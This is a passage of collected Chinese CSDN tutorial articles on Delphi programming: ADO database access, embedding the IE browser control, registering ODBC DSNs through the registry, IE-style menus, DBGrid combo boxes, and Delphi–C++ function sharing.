Delete加Update：delete，所有对数据表的修改均须用Update使操作有效，这与Delphi不同。
Fields[FieldNo]: Fields[FieldNo]
Fields['FieldName']: FieldByName('FieldName')
3、其他常见对象(与Delphi对应的对象)：
ADODB.Field: TField ADODB.Parameter: TPara ADODB.Error: EDBEngineError
ADODB.Command：无 ADODB.Property：无
下面来看一个应用例子：
procedure TForm1.Button1Click(Sender: TObject);
{*****************************************************
用ADO操作ODBC数据库
本程序中，将创建一个临时的ODBC系统数据源，指向一个MsAccess数据库，然后对其中的数据表进行显示、增加、修改、删除和查询操作
注意：请在Uses语句中包含ComObj单元
*****************************************************}
const{一些常量声明，详细请参见adovbs.inc}
{---- CommandType的常量说明 ----}
adCmdUnknown = 0008;//未知,需要系统来判断,速度慢,为缺省值
adCmdText = 0001;//命令语句如SQL语句
adCmdTable = 0002;//数据表名称
adCmdStoredProc = 0004;//存储过程名称

{---- CursorType的常量说明 ----}
adOpenForwardOnly = 0;//只能由前向后单向访问,为缺省值
adOpenKeyset = 1;//可见其他用户对数据的修改,但对其它用户的增加和删除不可见
adOpenDynamic = 2;//其他用户对数据的增加修改和删除均可见
adOpenStatic = 3;//其他用户对数据的增加修改和删除均不可见

{---- LockType的常量说明 ---}
adLockReadOnly = 1;//只读,为缺省值
adLockPessimistic = 2;//在修改时,按单个记录锁定
adLockOptimistic = 3;//在修改后更新时,按单个记录锁定
adLockBatchOptimistic = 4;//在成批更新时记录锁定
var
AConnection, ARecordSet : variant;
longintTemp : integer;
strTemp : string;
intIndex : integer;
begin
{创建一个临时的ODBC数据源,指向一个MsAccess数据库,并利用此DSN建立一个数据库连接}
AConnection := CreateOleObject('ADODB.Connection');
AConnection.Open('Driver={Microsoft Access Driver (*.mdb)};DBQ=C:\inetpub\wwwroot\test');

{建立一个数据集对象,并从数据表中提取数据}
ARecordSet := CreateOleObject('ADODB.RecordSet');
ARecordSet.open( 'wfjcommu',AConnection,adOpenStatic,adLockOptimistic,adCmdTable );

memo1.lines.clear;
memo1.lines.add('********数据表原有的内容如下********');
{显示各个域的域名}
strTemp := '';
for intIndex := 0 to ARecordSet.Fields.count - 1 do
strTemp := strTemp + ARecordSet.Fields[intIndex].name+';';
memo1.lines.add( strTemp );

{显示各个域的内容}
while not ARecordSet.eof do
begin
strTemp := '';
for intIndex := 0 to ARecordSet.Fields.count - 1 do
strTemp := strTemp + ARecordSet.Fields[intIndex].value+';';
memo1.lines.add( strTemp );
ARecordSet.MoveNext;//移到下条，Next
end;

{增加一个记录}
ARecordSet.AddNew;//增加,Append
ARecordSet.Fields['AName'] := '1';//以FieldByName的方式存取
ARecordSet.Fields['Portable'] := '2';
ARecordSet.Fields(2) := '3';//以Fields[index]的方式存取
ARecordSet.Fields(3) := '4';
ARecordSet.Fields(4) := '5';
ARecordSet.Update;//更新，Post
ARecordSet.MoveFirst;//移到首条，First
memo1.lines.add('********增加了一条记录后的数据表的内容如下********');
{显示各个域的内容}
while not ARecordSet.eof do
begin
strTemp := '';
for intIndex := 0 to ARecordSet.Fields.count - 1 do
strTemp := strTemp + ARecordSet.Fields[intIndex].value+';';
memo1.lines.add( strTemp );
ARecordSet.MoveNext;//移到下条，Next
end;

{修改最后一条记录}
ARecordSet.MoveLast;
ARecordSet.Fields['AName'] := '11';//以FieldByName的方式存取
ARecordSet.Fields['Portable'] := '22';
ARecordSet.Fields(2) := '33';//以Fields[index]的方式存取
ARecordSet.Fields(3) := '44';
ARecordSet.Fields(4) := '55';
ARecordSet.Update;//更新，Post
ARecordSet.MoveFirst;//移到首条，First
memo1.lines.add('********修改了最后一条记录后的数据表的内容如下********');
{显示各个域的内容}
while not ARecordSet.eof do
begin
strTemp := '';
for intIndex := 0 to ARecordSet.Fields.count - 1 do
strTemp := strTemp + ARecordSet.Fields[intIndex].value+';';
memo1.lines.add( strTemp );
ARecordSet.MoveNext;//移到下条，Next
end;

{删除最后一条记录}
ARecordSet.MoveLast;//移到末条，Last
ARecordSet.delete;//删除，delete
ARecordSet.Update;//更新，在Delphi不需要
ARecordSet.MoveFirst;//移到首条，First
memo1.lines.add('********删除了最后一条记录后的数据表的内容如下********');
{显示各个域的内容}
while not ARecordSet.eof do
begin
strTemp := '';
for intIndex := 0 to ARecordSet.Fields.count - 1 do
strTemp := strTemp + ARecordSet.Fields[intIndex].value+';';
memo1.lines.add( strTemp );
ARecordSet.MoveNext;//移到下条，Next
end;

ARecordSet.Close;{关闭数据集}

{用SQL语句进行查询,查询姓名为“张三”的记录}
{注意，在SQL语句中，字符串应该用单引号包括起来}
ARecordSet.open( 'select * from wfjcommu where AName = ''张三''',
AConnection,adOpenStatic,adLockOptimistic,adCmdText );
memo1.lines.add('********张三的内容如下********');
memo1.lines.add( '共有' + IntToStr( ARecordSet.RecordCount ) + '条匹配的记录' );
{显示各个域的内容}
while not ARecordSet.eof do
begin
strTemp := '';
for intIndex := 0 to ARecordSet.Fields.count - 1 do
strTemp := strTemp + ARecordSet.Fields[intIndex].value+';';
memo1.lines.add( strTemp );
ARecordSet.MoveNext;//移到下条，Next
end;

{关闭数据集和数据库连接}
ARecordSet.close;
AConnection.close;
end;
听别人说总不如自己看实际的例子来体会。在这个例子中，将演示如何利用ADO对象来对一个数据表进行查询、增加记录、修改记录和删除记录操作。具体的用法请参见程序中的注释，如果有点Delphi数据库编程经验，相信不难理解。
在我们的例子使用的数据库为Test.MDB，其中有一个数据表为wfjcommu，有五个字段AName、Portable、Tel、BP、PostAddress，分别表示姓名、手机号、电话号码、呼机号码和通信地址。
以上程序在PWIN98+ Delphi 3.0+PWS(Personal Web Server)4.0下调试通过。


CSDN_文档中心_在Delphi程序中应用IE浏览器控件

在Delphi程序中应用IE浏览器控件
王发军

    大概大家还记得Delphi的范例程序中的那个浏览器的例子吧。在那个例子中，利用控件THttp的属性和方法制作了一个浏览器。该例子用于理解THttp控件的使用方法，确实不错。但很少有人会用它作为一个真正的浏览器，原因很简单，功能太有限了，不支持Frame，不支持Script脚本语言，不能以本地文件方式查看HTML文件等等。大部分用户在使用Internet Explorer或Netscape Navigator；我们程序员也乐意使用现成的浏览器，在需要使用浏览器时，就在程序中通过WinExec或CreateProcess等方法调用外部浏览器让用户使用。
    这种方法确实挺省事的，但总让笔者有点不甘心，把程序控制权让给其它外部程序总让自己很感到麻烦，尤其当应用软件的使用者的计算机使用水平不是很高时。如果能有一个浏览器控件，就可把浏览器嵌入到自己的程序中，那应该挺不错的。
    如果你的软件的外部环境是WIN95+IE或WIN98(这样的软件使用率还很高的)，那样在系统中就已经有了一个IE浏览器控件可以使用了，也许是你长时间没有发觉吧，别浪费资源了，拿来使用吧。当系统中已经安装了IE3.X或IE4.X时，IE浏览器控件已经注册到系统中了，请运行Regedit，用“编辑”菜单下的“查找”功能，查找“Shell.Explorer”键名，你会发现IE控件已经作为ActiveX控件注册在系统中了，这样就我们可以在Delphi中使用该控件了。

一、 在Delphi中引入IE浏览器控件

    由于IE浏览器控件需要提供显示功能才能使用，所以不能在程序中用CreateOleObject取得一个实例后直接使用其属性和方法，否则程序在运行时会引起错误；这时需要用Delphi中提供的“Import ActiveX Control”功能，操作方法见下所述。
    在“Components”菜单中，调用“Import ActiveX Control”功能，在Registered Controls(注册控件)列表中选择“Microsoft Internet Controls(Version1.1)”，下方的提示栏中显示出其路径为C:\PWin98\System\SHDOCVW.DLL，在Class Names(类型列表)中列出了可注册的三个控件：TWebBrowser_V1、TWebBrowser和TShellFolderViewOC，分别为IE3浏览器控件、IE4浏览器控件和“Microsoft外壳文件夹查看路由器”控件。单击Install进行安装。安装完成后，在“ActiveX”控件栏中，将增加三个控件，分别为TWebBrowser_V1、TWebBrowser和TShellFolderViewOC；在Delphi的Imports目录下，将创建一个文件SHDocVw_TLB.PAS，其中有这三个控件的包装细节，当然含控件的属性和方法说明了，它可以作为我们使用控件的参考资料。

二、 在Delphi程序中使用IE浏览器控件

    以TWebBrowser(IE4浏览器控件)为例子。
TWebBrowser的常见属性和方法主要有：
GoBack：方法，后退到上一个页面。
GoForward：方法，前进到下一个页面。
GoHome：方法，调用默认的主页页面，该页面在IE的选项中设定。
GoSearch：方法，调用默认的搜索页面，该页面在IE的选项中设定。
Navigate(const URL: WideString; var Flags, TargetFrameName, PostData,
Headers: OleVariant)：方法，调用指定页面，具体参数如下：
URL：指定页面的URL。 Flags：Word类型，作用还不清楚，可设为0。
TargetFrameName：WideString，打开页面所在的Frame，为空字符串时在当前的Frame中打开；TargetFrameName指定的Frame存在时在Frame中打开；
TargetFrameName指定的Frame不存在时则新建一个窗口打开，此时就相当于调用外部的IE浏览器了。
PostData：boolean，是否允许发送数据。
Headers：WideString，要发送的URL请求的头部数据。
Refresh：方法，刷新当前页面。
Stop：方法，停止调用或打开当前页面。
LocationName：属性(WideString)，当前位置的名称。
LocationURL：属性(WideString)，当前位置的URL。
Busy: 属性(Boolean)，是否正忙。
Visible: 属性(Boolean)，浏览器窗口是否可见。
(以下属性为在TWebBrowser新增，TWebBrowser_V1中没有，其作用有待探索)
StatusBar: 属性(Boolean)，是否显示状态栏。
StatusText: 属性(WideString)，状态栏内容。
ToolBar: 属性(SYSINT)，工具栏中的内容。
MenuBar: 属性(Boolean)，是否显示菜单条。
FullScreen: 属性(Boolean)，是否全屏显示。
Offline: 属性(Boolean)，是否脱机浏览。
AddressBar: 属性(Boolean)，是否显示地址栏。

TWebBrowser的常见事件主要有：
OnStatusTextChange = procedure(Sender: TObject; const Text: WideString) of object;
    在状态栏提示信息变化时发生，参数Text为当前状态栏提示信息，我们可以根据该信息来更新我们自己的状态栏提示信息或处理其它的事务．
OnProgressChange = procedure(Sender: TObject; Progress, ProgressMax: Integer) of object;
    在打开页面的进度变化时发生，参数Progress为当前进度，ProgressMax为总进度，我们可以根据这两个参数来更新我们自己的状态栏提示信息或处理其它的事务．
OnCommandStateChange = procedure(Sender: TObject; Command: Integer; Enable: WordBool) of object;
    当执行新的命令时发生，Command为命令标识，Enable为是否允许执行该命令．
OnTitleChange = procedure(Sender: TObject; const Text: WideString) of object;
    在页面的标题发生变化时发生，Text为当前标题．
OnPropertyChange = procedure(Sender: TObject; const Property_: WideString) of object;
    在页面的属性发生变化时发生，Property_为属性名称
OnDownloadComplete: TNotifyEvent
    在下载页面完成后发生．
OnDownloadBegin: TNotifyEvent
    在下载页面开始前发生．

三、 在Delphi程序中应用IE浏览器控件的两个例子

（１）制作自己的帮助系统
    我们利用IE浏览器控件为用户制作了一个帮助系统，帮助文件由多个HTML文件组成，一个主题对应一个 HTML文件(Topic.HTM)，每个主题下的项目对应HTML文件中的一个标签(#Item)。这样在我们的系统中，就不必再调用IE浏览器或WinHelp程序来为用户提供帮助了。相信大家知道HTML帮助文件与传统的HLP帮助文件相比的优势所在吧。
    在下面例子中，演示了TWebBrowser(IE4浏览器控件)的Navigate方法的使用方法。请注意程序中的注释。(下面为程序的主要片段)。

{根据主题和项目调用帮助文件}
procedure ShowHelp( HelpTopic,HelpItem : String );
var
TargetFrameName,PostData,Heads,Flags : OleVariant;
URL : widestring;
begin
TargetFrameName := ’’;{指定Frame的空字符串时,则在当前Frame中打开帮助文件}
PostData := false;{不发送数据}
Heads := ’’;{Header信息为空}
Flags := 0;{Flags设为0}
URL := HelpTopic + ’.HTM#’+HelpItem;{帮助信息的URL}
with formHelp.webbrowser do{在帮助窗口中的IE浏览器控件中显示帮助信息}
begin
navigate(URL,Flags,TargetFrameName,PostData,Heads);{显示帮助信息}
end;
end;

（２）显示一个GIF动画

    假如你还没有一个适合的动画显示控件，不妨试用一下下面方法．
procedure ShowGIF( GIFFileName : String );
var
TargetFrameName,PostData,Heads,Flags : OleVariant;
URL : widestring;
begin
TargetFrameName := ’’;{指定Frame的空字符串时,则在当前Frame中打开动画文件}
PostData := false;{不发送数据}
Heads := ’’;{Header信息为空}
Flags := 0;{Flags设为0}
URL := GIFFileName;
with formGIF.webbrowser do{在指定窗口中的IE浏览器控件中显示动画}
begin
navigate(URL,Flags,TargetFrameName,PostData,Heads);{显示动画文件}
end;
end;

以上程序在PWIN98+Delphi3.0下调试通过。


CSDN_文档中心_在DELPHI程序中自动设置ODBC数据源

在DELPHI数据库应用程序中，我们访问数据库通常有两种方法．一种是通过BDE数据库搜索引擎，即利用DELPHI自带的数据库驱动程序，这种方法的优点是速度快，但应用范围有限，当数据库版本更新时，有可能不能用于操作新的数据库；另一种方法是通过ODBC，这种方法的优点是可以随操作系统(如WINDOWS)提供，作为标准接口能适应多种数据库，缺点是速度慢．在编程时，我们可以根据需要选择其中的一种方法．

    在利用ODBC访问数据库时，通常的方法时是在ODBC管理面板中设置一个ODBC系统数据源(系统DSN)，然后在DBD中或在程序中设置一个数据库别名(Alias)对应该DSN，这样就可以如愿以偿地操作数据库了．相信用DELPHI做过数据库应用的程序员对这方面已经很熟悉了，笔者就不多说了．在实际应用中，笔者曾遇到过这样的情况，我们的数据库应用程序是依靠ODBC系统数据源访问和操作数据库的，应用程序运行一直良好，直到某一天，一个对WINDOWS系统较为熟悉但又不太精通的用户不慎修改或删除了我们预先设置的系统DSN......

    于是，笔者就开始研究怎么在程序中动态地设置ODBC系统DSN的内容，这样就可以增加自己程序的坚固性了．经过整整一天对WINDOWS注册表的研究，终于找到了ODBC管理程序设置DSN的秘密（＂天地自有公道，付出总会回报！＂，不是做广告！），现写出来与大家共享，也请高手指教．
    ODBC管理程序设置DSN的秘密在注册表中，不信可以到HKEY_LOCAL_MACHINE\Software\ODBC去看看，肯定让你感觉已经成功了一半．
    首先来看看系统中已安装的ODBC数据库驱动程序．在HKEY_LOCAL_MACHINE\Software\ODBC\ ODBCInst.INI中，存放着已经安装了的ODBC数据库驱动程序的信息，从这里可以查到已安装的ODBC数据库驱动程序对应的DLL文件等信息．在ODBCInst.INI\ODBC Drivers的各个键值中，键名是驱动程序名称(如Microsoft Access Driver(*.mdb))，键值为“Installed”，表示驱动程序已安装．在 ODBCInst.INI\DriverName(DriverName为一个驱动程序名称，如Microsoft Access Driver(*.mdb))中，有驱动程序的详细信息，我们主要从这里获得ODBC驱动程序对应的DLL文件的路径和文件名，即键名Driver的键值，一般为”C:\WINDOWS\SYSTEM\FileName.DLL”．

    然后来看系统DSN的注册信息，在HKEY_LOCAL_MACHINE\Software\ODBC\ODBC.INI中，存放着系统DSN的注册信息，我们在ODBC管理面板设置的DSN参数就在这里．

    下面来看看创建一个ODBC系统DSN的步骤，即我们在ODBC管理面板中完成参数设置后，ODBC管理程序是怎么在注册表中注册DSN信息的．以创建一个名称为MyAccess的Ms Access97类型的系统DSN为例，我们指定的参数主要有数据库类型(Microsoft Access Driver(*.mdb))、数据源名称(MyAccess)、数据源描述(我的ACCESS)、数据库路径(C:\Inetpub\wwwroot\Test.mdb)，其它参数如用户名称、用户密码、独占、只读、系统数据库、默认目录、缓冲区大小、扫描行数、页超时等采用系统缺省参数．这时，注册系统DSN一般应有以下几个步骤：

    １．在HKEY_LOCAL_MACHINE\Software\ODBC\ODBC.INI\ODBC Data Sources中增加一个字符串键值，为MyAccess = Microsoft Access Driver(*.mdb)，其中分别为数据源名称和数据库类型．这是在注册表中注册一个系统DSN名称．

    ２．在HKEY_LOCAL_MACHINE\Software\ODBC\ODBC.INI中创建一个子键(SubKey)MyAccess，即创建一个键为HKEY_LOCAL_MACHINE\Software\ODBC\ODBC.INI\MyAccess，然后在其下创建一些键值，详细描述一个系统DSN的配置信息，主要信息有([]中的内容为笔者注释)：
DBQ=C:\Inetpub\wwwroot\Test.mdb [字符串，表示数据库路径]
Description=我的ACCESS [字符串，表示数据库描述]
Driver=C:\PWIN98\System\odbcjt32.dll [字符串，表示驱动程序，可见ODBCINST.INI]
DriverId=0x00000019(25) [数字，表示驱动程序标识，不能改变]
FIL=Ms Access; [字符串，可能与过滤Filter有关]
SafeTransaction=0x00000000 [数字，可能表示支持事务性操作的个数]
UID=”” [字符串，表示用户名称，此处为空字符串]

    ３．在HKEY_LOCAL_MACHINE\Software\ODBC\ODBC.INI\MyAccess中创建一个子键(SubKey)Engines，再在其下创建子键(SubKey)Jet，即创建一个键为
HKEY_LOCAL_MACHINE\Software\ODBC\ODBC.INI\MyAccess\Engines\Jet，然后在其下创建一些键值，详细描述一个系统DSN的数据库引擎配置信息，主要信息有([]中的内容为笔者注释)：
ImplicitCommitSync=Yes [字符串，可能表示是否立即反映数据修改]
MaxBufferSize=0x00000200(512) [数字，表示缓冲区大小]
PageTimeout=0x00000005(5) [数字，表示页超时]
Threads=0x00000003(3) [数字，可能表示支持的最大线程数目]
UserCommitSync=Yes [字符串，可能表示是否立即将数据修改反映到用户]

    以上是建立一个系统DSN的基本信息(其它信息如选项或高级选项等信息也在这里设置，只不过因采用默认信息，注册表里没有列出)，我们在程序中按上述步骤操作注册表，同样也能增加一个系统DSN或修改其配置．
在下面的例子程序中，将按以上步骤建立一个系统DSN，请注意程序中的注释．

{*******************************************************
在本程序中，将创建一个ODBC系统数据源(DSN)，
数据源名称：MyAccess 数据源描述：我的新数据源
数据库类型:ACCESS97
对应数据库：C:\Inetpub\wwwroot\test.mdb
*******************************************************}
{ 注意应在USES语句中包含Registry }
procedure TForm1.Button1Click(Sender: TObject);
var
    registerTemp : TRegistry;
    bData : array[ 0..0 ] of byte;
begin
    registerTemp := TRegistry.Create; //建立一个Registry实例
    with registerTemp do
  begin
    RootKey:=HKEY_LOCAL_MACHINE;//设置根键值为HKEY_LOCAL_MACHINE

//找到Software\ODBC\ODBC.INI\ODBC Data Sources
    if OpenKey(’Software\ODBC\ODBC.INI\ODBC Data Sources’,True) then
  begin //注册一个DSN名称
    WriteString( ’MyAccess’, ’Microsoft Access Driver (*.mdb)’ );
  end
  else
begin//创建键值失败
  memo1.lines.add(’增加ODBC数据源失败’);
  exit;
end;
CloseKey;

//找到或创建Software\ODBC\ODBC.INI\MyAccess,写入DSN配置信息
if OpenKey(’Software\ODBC\ODBC.INI\MyAccess’,True) then
begin
    WriteString( ’DBQ’, ’C:\inetpub\wwwroot\test.mdb’ );//数据库目录
    WriteString( ’Description’, ’我的新数据源’ );//数据源描述
    WriteString( ’Driver’, ’C:\PWIN98\SYSTEM\odbcjt32.dll’ );//驱动程序DLL文件
    WriteInteger( ’DriverId’, 25 );//驱动程序标识
    WriteString( ’FIL’, ’Ms Access;’ );//Filter依据
    WriteInteger( ’SafeTransaction’, 0 );//支持的事务操作数目
    WriteString( ’UID’, ’’ );//用户名称
    bData[0] := 0;
    WriteBinaryData( ’Exclusive’, bData, 1 );//非独占方式
    WriteBinaryData( ’ReadOnly’, bData, 1 );//非只读方式
end
else//创建键值失败
begin
    memo1.lines.add(’增加ODBC数据源失败’);
    exit;
end;
CloseKey;

//找到或创建Software\ODBC\ODBC.INI\MyAccess\Engines\Jet
//写入DSN数据库引擎配置信息
if OpenKey(’Software\ODBC\ODBC.INI\MyAccess\Engines\Jet’,True) then
begin
    WriteString( ’ImplicitCommitSync’, ’Yes’ );
    WriteInteger( ’MaxBufferSize’, 512 );//缓冲区大小
    WriteInteger( ’PageTimeout’, 10 );//页超时
    WriteInteger( ’Threads’, 3 );//支持的线程数目
    WriteString( ’UserCommitSync’, ’Yes’ );
end
else//创建键值失败
begin
    memo1.lines.add(’增加ODBC数据源失败’);
    exit;
end;
    CloseKey;

    memo1.lines.add(’增加新ODBC数据源成功’);

    Free;
  end;
end;

    以上程序在PWIN98+DELPHI3.0下调试通过．

    下面是创建常见数据库类型的DSN需要设置的信息([]为注释内容，除特殊注释外，各参数可见前面说明)：
    １．Access(Microsoft Access Driver(*.mdb))

DBQ、Description、Driver[odbcjt32.dll]、DriverID[25]、FIL[Ms Access;]、
SafeTransaction[默认为0]、UID[默认为空]、
Engines\Jet\ImplicitCommitSync[默认为Yes]、Engines\Jet\MaxBufferSize[默认512]、
Engines\Jet\PageTimeout[默认为512]、Engines\Jet\Threads[默认为3]、
Engines\Jet\UserCommitSync[默认为Yes]
可选设置：SystemDb[字符串，系统数据库的路径]、
ReadOnly[二进制，是否以只读方式打开，1为是，默认为0]、
Exclusive[二进制，是否以独占方式打开，1为是，默认为0]、
PWD[字符串，用户密码]

  ２．EXCEL(Microsoft Excel Driver(*.xls))

DBQ[Excel97(=path\xxx.xls)、5.0/7.0(=path\xxx.xls)、4.0(=path)、3.0(=path)]、
Description、Driver[odbcjt32.dll]、
DefaultDir[Excel97(<>DBQ)、5.0/7.0(<>DBQ)、4.0(=DBQ)、3.0(=DBQ)]、
DriverID[790(Excel97)、22(5.0/7.0)、278(4.0)、534(3.0)]、
FIL[Excel5.0;]、ReadOnly、SafeTransaction、UID、
Engines\Excel\ImplicitCommitSync、Engines\Excel\MaxScanRows[数字，扫描行数，默认为8]、
Engines\Excel\Threads、Engines\Excel\UserCommitSync、
Engines\Excel\FirstRowHasName[二进制，第一行是否是域名，1表示是，默认为1]

注: Excel97和Excel7.0/5.0的DBQ对应一个XLS文件，而Excel4.0和Excel3.0则对应一个目录；
    DefaultDir对应一个目录，在Excel97和Excel7.0/5.0中是DBQ所对应的路径，而在
    Excel4.0和Excel3.0下则与DBQ相同；各个版本的DriverID不同．

    ３．dBase(Microsoft dBase Driver(*.dbf))

DefaultDir[字符串，数据库文件所在目录]、Description、Driver[odbcjt32.dll]、
DriverID[277(IV)、533(5.0)]、FIL[dbase III;]、SafeTransaction、UID、
Engines\Xbase\ImplicitCommitSync、
Engines\Xbase\Collating[字符串，排序依据，可为ASCII、International、Norwegian-Danish、
Swedish-Finnish]、
Engines\Xbase\Deleted[二进制，是否不显示被软删除的记录，0表示显示，默认为1]、
Engines\Xbase\PageTimeout[默认为600]、Engines\Xbase\UserCommitSync、
Engines\Xbase\Threads、Engines\Xbase\Statistics[二进制，是否用大约的行数，1为是，默认0]
注：(dBaseIV和dBase5.0两个版本的DriverId有不同)

４．Foxpro(Microsoft Foxpro Driver(*.dbf))

DefaultDir[数据库文件所在目录]、Description、Driver[odbcjt32.dll]、
DriverID[536(2.6)、280(2.5)]、FIL[Foxpro 2.0;]、SafeTransaction、UID、
Engines\Xbase\Collating[字符串，排序依据，可为ASCII、International]、
Engines\Xbase\Deleted[二进制，是否不显示被软删除的记录，0表示显示，默认为1]、
Engines\Xbase\PageTimeout[默认为600]、Engines\Xbase\UserCommitSync、
Engines\Xbase\Threads、Engines\Xbase\Statistics[二进制，是否用大约的行数，1为是，默认0]
注：(Foxpro2.5和Foxpro2.6两个版本的DriverId有不同)

  把上面程序做成一个COM或ActiveX控件吧，在很多高级程序设计语言如DELPHI、C++Buider、VB、VC、PB中都能用到的．


CSDN_文档中心_在Delphi窗口中创建IE风格的菜单

是否觉得Delphi提供的菜单用起来实在没有美感呢？你可以自己用Delphi自带的VCL控件实现一个IE风格的菜单！特征包括：悬浮按钮、拖动定位、图形……所有的这些都不需要任何第三方控件，也不需要大量的编程！

实现一个IE风格的菜单需要执行以下步骤的工作：
1、按正常方式定义一个普通的菜单；
2、从窗口中隐藏已定义的菜单；
3、在窗口中添加CoolBar和ToolBar，作为菜单栏；
4、将菜单映射到ToolBar的按钮上；
5、为实现特殊效果进行编程（可选）。

第一步，按正常方式定义一个普通的菜单。
在窗口中增加一个TMainMenu控件，然后按通常的方式定义菜单项目、图标、快捷键等。

第二步，从窗口中隐藏已定义的菜单。
定义好的菜单会自动显示在窗口上。这是因为向窗口增加TMainMenu控件时，TForm对象的Menu属性自动设置为增加的TMainMenu对象。为了使用我们自己定义的菜单，必须把这个菜单隐藏起来。清除TForm.Menu，定义好的菜单就不会自动显示了。

第三步，在窗口中添加CoolBar和ToolBar，作为菜单栏。
向窗口中添加一个TCoolBar控件，然后把一个TToolBar控件放在它里面。设置TCoolBar和TToolBar的AutoSize属性为True，设置TToolBar的Flat属性为True，并且设置TToolBar的ShowCaptions属性为True。这样，窗口上方就出现了一个空白的菜单栏。下一步我们将向这个菜单栏里增加菜单项目。

第四步，将菜单映射到ToolBar的按钮上。
用右键单击TToolBar，从弹出的菜单中选New Button，向菜单栏中增加第一个按钮。设置这个按钮的AutoSize属性和Grouped属性为True，然后把Caption属性改为菜单项的文字。例如，Caption属性可能会被设置为&File。最后，设置这个按钮的MenuItem属性为TMainMenu中定义的对应的菜单项。例如，MenuItem属性可能会被设置为mnuFile。经过这些设置，按钮就和菜单项链接到了一起，单击按钮时将会弹出对应的菜单了。

第五步，为实现特殊效果进行编程（可选）。
经过前面四步的工作，新菜单已经可以正常工作了。但是，如果想要实现其他的一些特效，如CoolBar的拖动定位等，需要再进行一些编程的工作。这些内容已经不是本文的主题所在，就不加以讨论了，有兴趣的读者可以参考Delphi的帮助。

欢迎各位读者对本文提出自己的见解。


CSDN_文档中心_在Delphi的DBGrid中插入其他可视组件

在Delphi的DBGrid中插入其他可视组件
    Delphi提供了功能强大的 DBGrid组件，以方便进行数据库应用程序设计。但是如果我们仅仅利用DBGrid组件，每一个获得焦点（Grid）只是一个简单的文本编辑框，不方便用户输入数据。Delphi也提供了一些其他数据组件来方便用户输入，比如DBComboBox，DBCheckBox等组件，但这些组件却没有DBGrid功能强大。Delphi能不能象Visual Foxpro那样让DBGrid中获得焦点网格可以是其它可视数据组件以方便用户呢？其实我们可以通过在DBGrid中插入其他可视组件来实现这一点。

Delphi对DBGrid处理的内部机制，就是在网格上浮动一个组件——DBEdit组件。你输入数据的网格其实是浮动DBEdit组件，其他未获得焦点地方不过是图像罢了。所以，在DBGrid中插入其他可视组件就是在网格上浮动一个可视组件。因此任何组件，包括从简单的DbCheckBox到复杂的对话框，都可以在DBGrid中插入。下面就是一个如何在DBGrid中插入DBComboBox组件的步骤，采用同样的办法可以插入其他组件。

1、 在Delphi 4.0中新建一个项目。

2、 分别拖动的Data Access组件板上DataSource、Table，Data Controls组件板上DBGrid，DBComboBox四个组件到Form1上。

3、 设置各个组件的属性如下：

rcf1对象　属性 设定植
Form1 Caption　 '在DBGrid中插入SpinEdit组件示例'
DataSource1 DataSet Table1
Table1 DatabaseName DBDEMOS
   TableName 'teacher.DBF'
   Active True
DBGrid1 DataSource DataSource1
DBComboBox1 DataField SEX
   DataSource DataSource1
   Visible False
   Strings Items.　　　 '男'| '女'

意：我在这里用了Teacher.dbf，那是反映教职工的性别，只能是“男”或者是“女”。

4、 DrawDataCell事件是绘制单元格，当获得焦点网格所对应的字段与组合框所对应的字段一致时，移动组合框到获得焦点的网格上，并且
使组合框可视，从而达到在DBGrid指定列上显示DBComboBox的功能。设置DBGrid1的OnDrawDataCell事件如下：
procedure TForm1.DBGrid1DrawDataCell(Sender: TObject; const Rect: TRect;　Field: TField; State: TGridDrawState);
begin
    if (gdFocused in State) then
    begin
        if (Field.FieldName = DBComboBox1.DataField ) then
        begin
            DBComboBox1.Left := Rect.Left + DBGrid1.Left;
            DBComboBox1.Top := Rect.Top + DBGrid1.top;
            DBComboBox1.Width := Rect.Right - Rect.Left;
            DBComboBox1.Height := Rect.Bottom - Rect.Top;
            DBComboBox1.Visible := True;
     end;
  end;
end;

5、 DBGrid指定单元格未获得焦点时不显示DBComboBox，设置DBGrid1的OnColExit事件如下：
procedure TForm1.DBGrid1ColExit(Sender: TObject);
begin
    If DBGrid1.SelectedField.FieldName　= DBComboBox1.DataField then
    begin
        DBComboBox1.Visible := false;
   end;
end;

6、 当DBGrid指定列获得焦点时DrawDataCell事件只是绘制单元格，并显示DBComboBox，但是DBComboBox并没有获得焦点，数据的输入还是在单元格上进行。在DBGrid1的KeyPress事件中调用SendMessage这个 Windows API函数将数据输入传输到DBComboBox上，从而达到在DBComboBox上进行数据输入。因此还要设置KeyPress事件如下：
procedure TForm1.DBGrid1KeyPress(Sender: TObject; var Key: Char);
begin
    if (key < > chr(9)) then
    begin
        if (DBGrid1.SelectedField.FieldName　 =DBComboBox1.DataField) then
        begin
             DBComboBox1.SetFocus;
             SendMessage(DBComboBox1.Handle, WM_Char, word(Key), 0);
        end;
    end;
end;

程序在中文Windows 98，Delphi 4.015 下调试通过。希望本文能使你可以更加方便快捷的开发数据库应用程序。

文章作者： 暂无
文章来源： 暂无
作者邮箱： 暂无
作者网站： 暂无


CSDN_文档中心_在Delphi与C++之间实现函数与对象共享

在Delphi与C++之间实现函数与对象共享

在Delphi与C++之间实现函数与对象共享
Delphi以其独特的面向控件的开发方式、强大的数据库功能以及快速的编译技术,使得它自发布起即格外引人注意。随着Delphi 3提供丰富的Internet应用,Delphi日益成为最重要的软件开发工具之一,它吸引了许多原Visual Basic、Foxpro、dBase甚至C++的程序员,而这些程序员使用Delphi时需要解决的一个重要问题就是怎样利用他们原有的代码。本文将介绍Delphi与C++程序集成的方法,包括:

Delphi与C++之间函数的共享;

代码的静态链接和动态链接;

对象的共享。

函数的共享

在Delphi中调用C++函数与C++调用Delphi函数相当直接,需要注意的是,Delphi 1默认的函数调用方式是Pascal方式,Delphi 2、Delphi 3的默认方式则是优化的cdecl调用方式,即register方式。要在C++与Delphi程序之间实现函数共享,除非有充分的原因,否则应该使用标准系统调用方式,即stdcall方式。为了使C++编译器不将函数标记为"mang led",使Delphi编译器误认为函数是采用cdecl调用方式,应该在C++代码中,以extern "C "说明被共享的函数,如下例所示:

原型说明:
在C++中:
extern "C" int _stdcall TestFunc();
在Delphi中:
function TestFunc:integer; stdcall;

调用语法:
在C++中:
int i=TestFunc();
在Delphi中:
var i:integer;
…
begin
…
i:=TestFunc;
…
end;

共享函数的参数必须是两种语言都支持的变量类型,这是正确传递参数的前提。诸如Delphi的currency、string、set等变量类型,在C++中没有相对应的变量类型,不能被用作共享函数的参数。可以用PChar类型以值参的方式传递字符串指针,这时用户必须注意字符串空间的回收。
Delphi语言中的变参应被说明成C++中相应变量类型的引用形式,如下:

在Delphi中:
function TestFunc(var i:integer):integer;
在C++中:
int TestFunc(int &i);

代码链接
